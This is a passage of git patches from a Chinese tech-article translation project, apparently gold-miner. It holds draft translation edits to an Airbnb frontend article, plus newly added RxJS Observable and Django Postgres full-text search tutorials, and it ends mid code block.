-Thank you to [Jeff Atwood](https://blog.codinghorror.com/code-reviews-just-do-it/), for his articles on peer reviews, Karl Wiegers for his work in [*Humanizing Peer Reviews*](http://www.processimpact.com/articles/humanizing_reviews.html), and Steve McConnell for his extensive research on code review processes in [*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) . I hope you’ll consider supporting these authors by reading their writing or purchasing their books.
+感谢 [Jeff Atwood](https://blog.codinghorror.com/code-reviews-just-do-it/)的有关于互相检查的文章, Karl Wiegers 的 [*人类化互相审查流程*](http://www.processimpact.com/articles/humanizing_reviews.html), 以及 Steve McConnell 对于 [*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 的研究。 我希望你能购买他们的书来支持他们。
 
 
 ---

From 71eab4cbb2c9c8909f90d10784c89ade343afeb8 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Fri, 19 May 2017 01:34:09 +0800
Subject: [PATCH 493/638] =?UTF-8?q?=E4=B8=80=E5=B0=8F=E6=AE=B5?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index e0009b94df0..9b71c1e3e85 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -36,11 +36,13 @@ Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们
 
 ### 从 Rails 之中解脱 ###
 
-Before firing up the barbecue for all the fun [Progressive Web App](https://developers.google.com/web/progressive-web-apps/) work on our roadmap, we needed to separate from Rails (or at least the way we use Rails at Airbnb in delivering standalone pages).
+在我们的烧烤开火之前，因为我们的线路图上存在所有有趣的[渐进式 web 应用](https://developers.google.com/web/progressive-web-apps/)（WPA）,我们需要从 Rails 中解脱出来（或者至少在 Airbnb 用 Rails 提供单独页面的这种方式）。
 
-Unfortunately, only a matter of months ago, our search page contained some very old code…like, *Lord of the Rings*, touch-that-at-your-peril old. Fun fact: I once replaced a small [Handlebars](http://handlebarsjs.com/) template backed by a Rails presenter with a simple React component, and suddenly things were breaking in entirely separate parts of the page — even in our API response! Turns out, the presenter was mutating the backing Rails model, which had been impacting all downstream data for years, even when the UI wasn’t being rendered.
+不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件替换一个 Rails presenter 备份过的小巧的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了——甚至 API 响应都除了问题。原来，presenter 正在改变后备 Rails 模式，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。
 
 In short, we were in this project like Indiana Jones swapping the idol for a bag of sand, and immediately the temple starts collapsing, and we’re running from a boulder.
+简而言之，我们在这个项目中，像 Indiana Jone 用灵魂交换一袋沙子，突然间寺庙开始崩溃，我们正在从一块巨石上跑。
+
 
 #### Step 1: Aligning on API Data ####
 
@@ -272,7 +274,7 @@ Also, note the `scheduleAsyncLoad()` utility, which requests the bundle in advan
 
 The final benefit of this approach is that `HomesSearch_Map` becomes a named bundle that the browser can cache. As we disaggregate larger route-based bundles, the slowly-changing sections of the app remain untouched across updates, further saving JavaScript download time.
 
-#### Building Accessibility into our Design Language #### 
+#### Building Accessibility into our Design Language ####
 
 Doubtless it warrants a dedicated post, but we have begun building our internal component library with Accessibility enforced as a hard constraint. In the coming months, we will have replaced all UI across the guest flow that is incompatible with screen readers.
 

From ba5f04e531b075cc31389fa1491e9a2a8952ca21 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Fri, 19 May 2017 18:35:56 +0800
Subject: [PATCH 494/638] =?UTF-8?q?=E7=BB=A7=E7=BB=AD?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index 9b71c1e3e85..86b5f0bfa97 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -40,11 +40,11 @@ Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们
 
 不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件替换一个 Rails presenter 备份过的小巧的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了——甚至 API 响应都除了问题。原来，presenter 正在改变后备 Rails 模式，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。
 
-In short, we were in this project like Indiana Jones swapping the idol for a bag of sand, and immediately the temple starts collapsing, and we’re running from a boulder.
 简而言之，我们在这个项目中，像 Indiana Jone 用灵魂交换一袋沙子，突然间寺庙开始崩溃，我们正在从一块巨石上跑。
 
 
-#### Step 1: Aligning on API Data ####
+
+#### 第 1 步： 调整 API 数据 ####
 
 When Rails is server-rendering your page, you can get away with throwing data at your server-rendered React components any way you like. Controllers, helpers, and presenters can produce data of any shape, and even as you migrate sections of the page to React, each component can consume whatever data it requires.
 
@@ -54,7 +54,7 @@ If you find yourself in similar waters with a large application, you might find
 
 The tricky bit for us was working with all the teams who interact with the guest booking flow: our Business Travel, Growth, and Vacation Rentals teams; our China and India market-specific teams, Disaster Recovery…the list goes on, and we needed to reeducate all these folks that even though it was technically possible to pass data directly to the component being rendered (“yes, I understand it’s just an experiment, but…”), *all data* needs to go through the API.
 
-#### Step 2: Non-API Data: Config, Experiments, Phrases, L10n, I18n… ####
+#### 第 2 步： 非 API 数据: 配置、试验、惯用语、本地化、 国际化… ####
 
 There is a separate class of data from what we would think of as API data, and it includes application config, user-specific experiment assignment, internationalization, localization, and similar concerns. Over the years, Airbnb has built up some incredible tooling to support all these functions, but the mechanisms for delivering them to the Frontend were a bit under-baked (or possibly fully-baked when built, before the ground began shifting under foot!).
 
@@ -172,11 +172,11 @@ This higher order component does two very important things:
 
 In a single shot, we eliminated `add_bootstrap_data` and prevented engineers from passing arbitrary keys through to top level React components. Order was restored to the shire, and before long we were navigating to routes dynamically in the client and rendering content of material complexity without Rails to prop it up (pun intended).
 
-### Super-Charging the Frontend ###
+### 进击的前端 ###
 
 Server rework in hand, we now turn our gaze to the client.
 
-#### The Lazy-Loaded Single Page App ####
+#### 懒加载的单页面应用 ####
 
 Gone are the days, friends, of the monster Single Page App (SPA) with a gruesome loading spinner on initialization. This dreaded loading spinner was the objection many folks raised when we pitched the idea of client-side routing with React Router.
 
@@ -196,7 +196,7 @@ Side-by-side comparison fetching Homes for Tokyo: Legacy page load vs client-sid
 
 …now transitions between routes are smooth as butter and a step change (~5x) faster, and we can break ground on the animations featured at the beginning of this post.
 
-#### AsyncComponent ####
+#### 异步组件 ####
 
 Prior to React, we would render an entire page at a time, and this practice carried over into our early React days. But we use an AsyncComponent similar to [this](https://medium.com/@thejameskyle/react-loadable-2674c59de178) as a way to load sections of the component hierarchy after mount.
 

From 97ac66919aa178494afada0959680338e382fd7c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 21:19:41 +0800
Subject: [PATCH 495/638] Create rxjs-observables-observers-operators.md

---
 TODO/rxjs-observables-observers-operators.md | 382 +++++++++++++++++++
 1 file changed, 382 insertions(+)
 create mode 100644 TODO/rxjs-observables-observers-operators.md

diff --git a/TODO/rxjs-observables-observers-operators.md b/TODO/rxjs-observables-observers-operators.md
new file mode 100644
index 00000000000..ab0168a7fb6
--- /dev/null
+++ b/TODO/rxjs-observables-observers-operators.md
@@ -0,0 +1,382 @@
+> * 原文地址：[RxJS: Observables, observers and operators introduction](https://toddmotto.com/rxjs-observables-observers-operators)
+> * 原文作者：[Todd](https://toddmotto.com/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# RxJS: Observables, observers and operators introduction #
+
+
+RxJS is an incredible tool for reactive programming, and today we’re going to dive a little deeper into what Observables and observers are - as well as learn how to create our own operators.
+
+If you’ve used RxJS before and want to understand some of the inner workings and internals to “how” Observables work, as well as the operators, then this post is for you.
+
+### [What is an Observable?](#what-is-an-observable) ###
+
+An Observable is just a function, with a few special characteristics. These are that it takes in an “observer” (an object with “next”, “error” and “complete” methods on it), and returns cancellation logic. In our examples we will use a simple “unsubscribe” function to handle this further on when we write our own. In RxJS it would be a Subscription object with an `unsubscribe` method on it.
+
+An Observable sets up the observer (we’ll learn more about this) and connects it to the “thing” we want to get values from. This “thing” is called a producer, and is a source of values, perhaps from a `click` or `input` event in the DOM. It could even be something more complex such as communication over HTTP.
+
+To better understand Observables, we’re going to write our own! But first, let’s take a look at an example with a subscription:
+
+```
+const node = document.querySelector('input[type=text]');
+
+const input$ = Rx.Observable.fromEvent(node, 'input');
+
+input$.subscribe({
+  next: (event) => console.log(`You just typed ${event.target.value}!`),
+  error: (err) => console.log(`Oops... ${err}`),
+  complete: () => console.log(`Complete!`)
+});
+```
+
+This example takes an `<input type="text">` element and passes it into `Rx.Observable.fromEvent()`, which returns us an Observable of our input’s `Event` object when the event name we specified emits (which is why we’re using `${event.target.value}` in the console).
+
+When the input’s event listener fires, the Observable passes the value to the *observer*.
+
+### [What is an observer?](#what-is-an-observer) ###
+
+An observer is quite simple, in the above example the observer is the object literal we pass into our `.subscribe()` (subscribe will invoke our Observable).
+
+> `.subscribe(next, error, complete)` is also valid syntax, but we’ll be exploring the object literal form in this post
+
+When an Observable produces values, it then informs the *observer*, calling `.next()` when a new value was successfully captured and `.error()` when an error occurs.
+
+When we subscribe to an Observable, it will keep passing any values to an observer until one of two things happens. Either the producer says there are no more values to be sent, in which case it will call `.complete()` on our observer, or we (as the “consumers”) decide we are no longer interested in the values and we unsubscribe.
+
+When we want to compose the values returned from an Observable, before they reach our final `.subscribe()` block, the value is passed (or can be passed) through a chain of Observables, which is typically done via “operators”. This chain is what we call an Observable sequence. Each operator returns a new Observable to continue our sequence - also known as a “stream”.
+
+### [What is an operator?](#what-is-an-operator)  ###
+
+As we’ve mentioned, Observables can be chained, which means we can do something like this:
+
+```
+const input$ = Rx.Observable.fromEvent(node, 'input')
+  .map(event => event.target.value)
+  .filter(value => value.length >= 2)
+  .subscribe(value => {
+    // use the `value`
+  });
+```
+
+Here are the steps of this sequence:
+
+- Let’s assume the user types “a” into our input
+- The Observable then reacts to this event, passing the value to the *next* observer
+- The value “a” is passed to `.map()`, which is subscribing to our *initial* observable
+- `.map()` returns a new Observable of `event.target.value` and calls `.next()` on it’s observer
+- The `.next()` call will invoke `.filter()`, which is subscribing to `.map()`, with the *resulting* value of the `.map()` call
+- `.filter()` will then return another Observable with the filtered results, calling `.next()` with the value if the `.length` is 2 or above
+- We get the final value through our `.subscribe()` block
+
+Quite a lot happening, and if you’re a little unsure, remember:
+
+Each time a new Observable is returned, a new *observer* is hooked up to the previous Observable, thus allowing us to pass values along a “stream” of observers that simply do something you’ve asked and call `.next()` when it’s done, passing it to the next observer.
+
+In short, an operator typically returns a new Observable each time - allowing us to continue our stream. As users we don’t need to worry about all the Observables and observers which are created and used behind scenes, we only use one per chain - our subscription.
+
+### [Building our own Observable](#building-our-own-observable) ###
+
+So, let’s get started and write our own Observable implementation. It won’t be as advanced as Rx’s implementation, but we’ll hopefully build the picture enough.
+
+#### [Observable constructor](#observable-constructor)  ####
+
+First, we’ll create an Observable constructor function that takes a `subscribe` function as its only argument. We’ll store the subscribe property on the instance of Observable, so that we can call it later with an observer:
+
+```
+function Observable(subscribe) {
+  this.subscribe = subscribe;
+}
+```
+
+Each `subscribe` callback that we assign to `this.subscribe` will be invoked either by us or another Observable. This will make more sense as we continue.
+
+#### [Observer example](#observer-example) ####
+
+Before we dive into our real world example, let’s give a basic one.
+
+As we’ve setup our Observable function, we can now invoke our observer, passing in `1` as a value and subscribe to it:
+
+```
+const one$ = new Observable((observer) => {
+  observer.next(1);
+  observer.complete();
+});
+
+one$.subscribe({
+  next: (value) => console.log(value) // 1
+});
+```
+
+We subscribe to the Observable instance, and pass our observer (object literal) into the constructor (which is then assigned to `this.subscribe`).
+
+#### [Observable.fromEvent](#observablefromevent) ####
+
+That’s all we actually needed to create the basis of our Observable, the next piece we need is a `static` method on the Observable:
+
+```
+Observable.fromEvent = (element, name) => {
+
+};
+```
+
+We’re going to use our Observable just like in RxJS:
+
+```
+const node = document.querySelector('input');
+
+const input$ = Observable.fromEvent(node, 'input');
+```
+
+Which means we need to return a new Observable and pass a function in as the argument:
+
+```
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    
+  });
+};
+```
+
+This then passes our function to our `this.subscribe` in the constructor. Next up, we need to hook our event in:
+
+```
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    element.addEventListener(name, (event) => {}, false);
+  });
+};
+```
+
+So, what’s this `observer` argument, and where does it come from?
+
+The `observer` is actually your object literal with `next`, `error` and `complete` on.
+
+> Here is the interesting piece. The `observer` is never passed through *until*`.subscribe()` is invoked. This means the `addEventListener` is never “setup” by our Observable until it’s subscribed to.
+
+Once subscribe is invoked, inside the Observable’s constructor the `this.subscribe` is then called, which *invokes* the callback we passed to `new Observable(callback)` and also passes through our observer literal. This then allows the Observable to do it’s thing and once it’s done, it’ll `.next()` on our observer with the updated value.
+
+Okay so what now? We’ve got an event listener setup, but nothing is calling `.next()`, let’s fix that:
+
+```
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    element.addEventListener(name, (event) => {
+      observer.next(event);
+    }, false);
+  });
+};
+```
+
+As we know, Observables need a “tear down” function which is called when the Observable is destroyed, in our case we’ll remove the event:
+
+```
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    const callback = (event) => observer.next(event);
+    element.addEventListener(name, callback, false);
+    return () => element.removeEventListener(name, callback, false);
+  });
+};
+```
+
+We’ve not called `.complete()` because this Observable is dealing with DOM APIs and events, so technically they’re infinitely available.
+
+Let’s try it out! Here’s the full code of what we’ve done:
+
+```
+const node = document.querySelector('input');
+const p = document.querySelector('p');
+
+function Observable(subscribe) {
+  this.subscribe = subscribe;
+}
+
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    const callback = (event) => observer.next(event);
+    element.addEventListener(name, callback, false);
+    return () => element.removeEventListener(name, callback, false);
+  });
+};
+
+const input$ = Observable.fromEvent(node, 'input');
+
+const unsubscribe = input$.subscribe({
+  next: (event) => {
+    p.innerHTML = event.target.value;
+  }
+});
+
+// automatically unsub after 5s
+setTimeout(unsubscribe, 5000);
+```
+
+Live example (type, then watch):
+
+```
+HTML
+
+<input type="text">
+<p></p>
+
+JavaScript
+
+const node = document.querySelector('input');
+const p = document.querySelector('p');
+
+function Observable(subscribe) {
+  this.subscribe = subscribe;
+}
+
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    const callback = (event) => observer.next(event);
+    element.addEventListener(name, callback, false);
+    return () => element.removeEventListener(name, callback, false);
+  });
+};
+
+const input$ = Observable.fromEvent(node, 'input');
+
+input$.subscribe({
+  next: (event) => {
+    p.innerHTML = event.target.value;
+  }
+});
+```
+
+
+### [Building our own operator](#building-our-own-operator) ###
+
+Building our own operator should be a little easier now we understand the concepts behind an Observable and observer. On our `Observable` object, we’ll add a new prototype method:
+
+```
+Observable.prototype.map=function(mapFn){
+
+};
+```
+
+This method will be used as such, pretty much like `Array.prototype.map` in JavaScript but for any value:
+
+```
+const input$ = Observable.fromEvent(node, 'input')
+	.map(event => event.target.value);
+```
+
+So we need to take the callback function and invoke it, which in turn will return our desired data. Before we can do this, we need the latest value in the *stream*.
+
+Here comes the clever part, we need to gain access to the instance of the Observable that invoked our `.map()` operator. Because it’s on the prototype we can do exactly that:
+
+```
+Observable.prototype.map = function (mapFn) {
+  const input = this;
+};
+```
+
+Ready for more funk? Now we subscribe inside a returned Observable:
+
+```
+Observable.prototype.map = function (mapFn) {
+  const input = this;
+  return new Observable((observer) => {
+  	return input.subscribe();
+  });
+};
+```
+
+> We are *returning* the `input.subscribe()` because when we unsubscribe, the unsubscriptions (is that a word?) will flow up the chain, unsubscribing from each Observable.
+
+This subscription will allow us to be passed the previous value from our `Observable.fromEvent`, because it returns a new Observable with a `subscribe` property in the constructor, we can simply subscribe to any updates it makes! Let’s finish this off by invoking our `mapFn()` passed through map:
+
+```
+Observable.prototype.map = function (mapFn) {
+  const input = this;
+  return new Observable((observer) => {
+    return input.subscribe({
+      next: (value) => observer.next(mapFn(value)),
+      error: (err) => observer.error(err),
+      complete: () => observer.complete()
+    });
+  });
+};
+```
+
+Now we can chain it!
+
+```
+const input$ = Observable.fromEvent(node, 'input')
+  .map(event => event.target.value);
+
+input$.subscribe({
+  next: (value) => {
+    p.innerHTML = value;
+  }
+});
+```
+
+Notice how the final `.subscribe()` block is passed only the `value` and not the `Event` object like before? You’ve successfully created an Observable stream.
+
+Try it again:
+
+```
+HTML
+
+<input type="text">
+<p></p>
+<button type="button">
+  Unsubscribe
+</button>
+
+JavaScript
+
+const node = document.querySelector('input');
+const p = document.querySelector('p');
+
+function Observable(subscribe) {
+  this.subscribe = subscribe;
+}
+
+Observable.prototype.map = function (mapFn) {
+  const input = this;
+  return new Observable((observer) => {
+    return input.subscribe({
+      next: (value) => observer.next(mapFn(value)),
+      error: (err) => observer.error(err),
+      complete: () => observer.complete()
+    });
+  });
+};
+
+Observable.fromEvent = (element, name) => {
+  return new Observable((observer) => {
+    const callback = (event) => observer.next(event);
+    element.addEventListener(name, callback, false);
+    return () => element.removeEventListener(name, callback, false);
+  });
+};
+
+const input$ = Observable.fromEvent(node, 'input')
+	.map(event => event.target.value);
+
+const unsubscribe = input$.subscribe({
+  next: (value) => {
+    p.innerHTML = value;
+  }
+});
+
+// avert your eyes
+document
+	.querySelector('button')
+	.addEventListener('click', unsubscribe);
+
+
+```
+
+Hopefully this post was good fun for you :)
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 18a742f97bb9554952c43cce8e651a4c17cc3db8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 21:31:39 +0800
Subject: [PATCH 496/638] Create postgres-full-text-search-with-django.md

---
 TODO/postgres-full-text-search-with-django.md | 458 ++++++++++++++++++
 1 file changed, 458 insertions(+)
 create mode 100644 TODO/postgres-full-text-search-with-django.md

diff --git a/TODO/postgres-full-text-search-with-django.md b/TODO/postgres-full-text-search-with-django.md
new file mode 100644
index 00000000000..e28dcbdd25c
--- /dev/null
+++ b/TODO/postgres-full-text-search-with-django.md
@@ -0,0 +1,458 @@
+> * 原文地址：[Postgres Full-Text Search With Django](http://blog.lotech.org/postgres-full-text-search-with-django.html)
+> * 原文作者：[Nathan Shafer](http://blog.lotech.org/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# [Postgres Full-Text Search With Django](http://blog.lotech.org/postgres-full-text-search-with-django.html) #
+
+Django has [added support](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/) for Postgres's [built-in full-text searching](https://www.postgresql.org/docs/9.6/static/textsearch.html) as of version 1.10. This is a great alternative to a heavier search system such as [elasticsearch](https://www.elastic.co/products/elasticsearch) or [SOLR](http://lucene.apache.org/solr/), when we want decent search capabilities without having to setup and maintain another service. Postgres's full-text search is [Good Enough](http://rachbelaid.com/postgres-full-text-search-is-good-enough/) for a lot of use cases.
+
+With this quick guide, I'll show how to add full-text searching to a Django application. Simple use-cases are covered pretty well in the [Django documentation](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/), so I will focus on a slightly more advanced example that allows searching through multiple fields, including data through relationships, weighting fields differently, adding an index for speed, and methods to keep the search data up-to-date.
+
+It should go without saying that this is focused on Django with a PostgreSQL database back-end. This will not work with SQLite or MySQL. I also assume familiarity with Django and a basic understanding of Postgres.
+
+An example project is available [on github](https://github.com/nshafer/pgfulltext) that follows this guide.
+
+## Models ##
+
+We will use these models as an example. It's simple data for a Blog-like application consisting of Posts with data both directly included and referenced through relationships. But most importantly, we have data we want to search through that exists as ManyToOne (author) and ManyToMany (tags)relationships.
+
+```
+class Author(models.Model):
+    name = models.CharField(max_length=50)
+
+
+class Tag(models.Model):
+    name = models.CharField(max_length=20)
+
+
+class Post(models.Model):
+    title = models.CharField(max_length=50)
+    content = models.TextField()
+    author = models.ForeignKey(Author)
+    tags = models.ManyToManyField(Tag)
+```
+
+We will use this sample data:
+
+```
+jim = Author.objects.create(name="Jim Blogwriter")
+nancy = Author.objects.create(name="Nancy Blogaday")
+
+databases = Tag.objects.create(name="Databases")
+programming = Tag.objects.create(name="Programming")
+python = Tag.objects.create(name="Python")
+postgres = Tag.objects.create(name="Postgres")
+django = Tag.objects.create(name="Django")
+
+django_post = Post.objects.create(
+    title="Django, the western character",
+    content="Django is a character who appears in a number of spaghetti "
+            "western films.",
+    author=jim
+)
+django_post.tags.add(django)
+
+python_post = Post.objects.create(
+    title="Python is a programming language",
+    content="Python is a programming language created by Guido van Rossum "
+            "and first released in 1991. Django is written in Python. Python "
+            "can connect to databases.",
+    author=nancy
+)
+python_post.tags.add(django, programming, python)
+
+postgres_post = Post.objects.create(
+    title="What is Postgres",
+    content="PostgreSQL, commonly Postgres, is an open-source, "
+            "object-relational database (ORDBMS).",
+    author=nancy
+)
+postgres_post.tags.add(databases, postgres)
+```
+
+## Building Documents ##
+
+The first step is going to be building *Documents* for our posts. Each Document will be a logical representation of a single post, including:
+
+- title
+- content
+- Author's name
+- All tag names
+
+Here is an example Django query:
+
+```
+from django.db.models.functions import Concat
+from django.db.models import TextField, Value as V
+from django.contrib.postgres.aggregates import StringAgg
+
+document=Concat(
+    'title', V(' '),
+    'content', V(' '),
+    'author__name', V(' '),
+    StringAgg('tags__name', delimiter=' '),
+    output_field=TextField()
+)
+Post.objects.annotate(document=document).values_list('document', flat=True)
+```
+
+```
+<QuerySet [
+  "Django, the western character Django is a character who appears in a
+    number of spaghetti western films. Jim Blogwriter Django",
+  "Python is a programming language Python is a programming language
+    created by Guido van Rossum and first released in 1991. Django is
+    written in Python. Python can connect to databases. Nancy Blogaday
+    Python Django Programming",
+  "What is Postgres PostgreSQL, commonly Postgres, is an open-source,
+    object-relational database (ORDBMS). Nancy Blogaday Postgres Databases"
+]>
+```
+
+This includes all of our data for each post, separated by spaces.
+
+## Search Vectors ##
+
+So now that we have our documents, we need to convert them into a format that Postgres can index and search through. Postgres calls these [Vectors](https://www.postgresql.org/docs/9.6/static/textsearch-controls.html#TEXTSEARCH-PARSING-DOCUMENTS). Django has a class to encapsulate this functionality called [SearchVector](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/#searchvector). A `SearchVector` can also take a weight, so we'll rewrite our query to create vectors.
+
+```
+from django.contrib.postgres.search import SearchVector
+from django.contrib.postgres.aggregates import StringAgg
+
+vector=SearchVector('title', weight='A') + \
+       SearchVector('content', weight='C') + \
+       SearchVector('author__name', weight='B') + \
+       SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')
+Post.objects.annotate(document=vector).values_list('document', flat=True)
+```
+
+```
+<QuerySet [
+  "'appear':10C 'blogwrit':19B 'charact':4A,8C 'django':1A,5C,20B 'film':17C
+    'jim':18B 'number':13C 'spaghetti':15C 'western':3A,16C",
+  "'1991':20C 'blogaday':32B 'connect':28C 'creat':11C 'databas':30C
+    'django':21C,34B 'first':17C 'guido':13C 'languag':5A,10C 'nanci':31B
+    'program':4A,9C,35B 'python':1A,6C,25C,26C,33B 'releas':18C
+    'rossum':15C 'van':14C 'written':23C",
+  "'blogaday':18B 'common':5C 'databas':15C,20B 'nanci':17B 'object':13C
+    'object-rel':12C 'open':10C 'open-sourc':9C 'ordbm':16C
+    'postgr':3A,6C,19B 'postgresql':4C 'relat':14C 'sourc':11C"
+]>
+```
+
+Each document has been normalized down to a common set of *word stems*. This includes dropping case, dropping common prefixes and suffixes (like 's', and 'es'), and removing common words like 'a', 'an' and 'the'. The numbers are where in the document it found that stem, and the letter is the weight. If we want to override the configuration setting for how Postgres processes the words, for example to specify a different language, then we can pass an optional `config` parameter to SearchVector. If not given, then it will use whatever the database is configured to use by default, most likely based on the configured locale.
+
+## Performing a search ##
+
+So now that we have our documents, we can perform a search. The easiest way to do this is to filter on our documents.
+
+```
+vector=SearchVector('title',weight='A')+ \
+       SearchVector('content',weight='C')+ \
+       SearchVector('author__name',weight='B')+ \
+       SearchVector(StringAgg('tags__name',delimiter=' '),weight='B')
+       Post.objects.annotate(document=vector).filter(document='django')
+```
+
+```
+<QuerySet [<Post: Django, the western character>,
+           <Post: Python is a programming language>]>
+
+```
+
+By default, django will use the `plainto_tsquery()`[function](https://www.postgresql.org/docs/9.6/static/textsearch-controls.html#TEXTSEARCH-PARSING-QUERIES) in Postgres to parse the query. The short of this is that it will search for documents that match all of the words. However, instead of a string we can pass a [SearchQuery()](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/#searchquery) instance, which can be combined with several boolean operators.
+
+```
+from django.contrib.postgres.search import SearchQuery
+
+query = SearchQuery('django') & SearchQuery('program')
+Post.objects.annotate(document=vector).filter(document=query)
+
+```
+
+If we use a custom `config` with SearchVector(), then we should use that same `config` with SearchQuery().
+
+## Ranking ##
+
+Results are most useful if we can rank them, taking into consideration the different weights we've assigned to each part of the document. Django provides the SearchRank class for this purpose.
+
+```
+from django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank
+from django.contrib.postgres.aggregates import StringAgg
+
+vector=SearchVector('title', weight='A') + \
+       SearchVector('content', weight='C') + \
+       SearchVector('author__name', weight='B') + \
+       SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')
+query = SearchQuery('django')
+Post.objects\
+    .annotate(document=vector, rank=SearchRank(vector, query))\
+    .filter(document=query)\
+    .order_by('-rank')\
+    .values_list('title', 'rank')
+
+```
+
+```
+<QuerySet [
+  ('Django, the western character', 0.665342),
+  ('Python is a programming language', 0.364756)
+]>
+
+```
+
+This gives us the functionality we want, but this isn't the best way to go about it if we care about performance. Every time we run this query the database has to build all the documents, for all rows in the table before it can search and rank them. It's fine for a few rows, but after more than a couple hundred it's going to start slowing down to unacceptable speeds. If our documents only contained data from a single table, we could just [build a GIN index](https://www.postgresql.org/docs/current/static/textsearch-tables.html#TEXTSEARCH-TABLES-INDEX), but that won't work in this case since we pull extra data from other tables. So what we really want to do is to pre-calculate all of the documents and store them in the database.
+
+# Storing Vectors with SearchVectorField #
+
+Django provides a special field that allows us to store pre-calculated vectors in a field called `SearchVectorField`. We'll add that field to our Post model:
+
+```
+from django.contrib.postgres.search import SearchVectorField
+
+class Post(models.Model):
+    ...
+    search_vector = SearchVectorField(null=True)
+```
+
+Then we'll migrate this to add the field.
+
+```
+./manage.py makemigrations
+./manage.py migrate
+
+```
+
+Let's update this field manually for now.
+
+```
+from django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank
+from django.contrib.postgres.aggregates import StringAgg
+
+vector=SearchVector('title', weight='A') + \
+       SearchVector('content', weight='C') + \
+       SearchVector('author__name', weight='B') + \
+       SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')
+for post in Post.objects.annotate(document=vector):
+    post.search_vector = post.document
+    post.save(update_fields=['search_vector'])
+```
+
+**Note:** This will issue an UPDATE for each row in the table, which will take forever if our table has a lot of rows. If we are only including fields from a single model in our document, then something like this would be much more efficient:
+
+```
+vector=SearchVector('title', weight='A') + \
+       SearchVector('content', weight='C')
+Post.objects.update(search_vector=vector)
+```
+
+Django doesn't allow us to use aggregate functions with an update clause, but Postgres does, so if we really wanted, we could issue a query like this to refresh all of the documents at once:
+
+```
+UPDATE blog_post
+SET search_vector = document.vector
+FROM (
+     SELECT post.id,
+            setweight(to_tsvector(post.title), 'A') ||
+            setweight(to_tsvector(post.content), 'C') ||
+            setweight(to_tsvector(author.name), 'B') ||
+            setweight(to_tsvector(COALESCE(string_agg(tag.name, ', '), '')), 'B')
+              AS vector
+     FROM blog_post AS post
+     JOIN blog_author AS author ON author.id = post.author_id
+     JOIN blog_post_tags AS post_tags ON post_tags.post_id = post.id
+     JOIN blog_tag AS tag ON tag.id = post_tags.tag_id
+     GROUP BY post.id, author.id
+   ) AS document
+WHERE blog_post.id = document.id;
+
+```
+
+## Searching on search_vector ##
+
+Now that we have our documents stored, we can easily search on them
+
+```
+from django.db.models import F
+from django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank
+
+query = SearchQuery('django')
+Post.objects.annotate(rank=SearchRank(F('search_vector'), query))\
+    .filter(search_vector=query).order_by('-rank').values_list('title', 'rank')
+```
+
+```
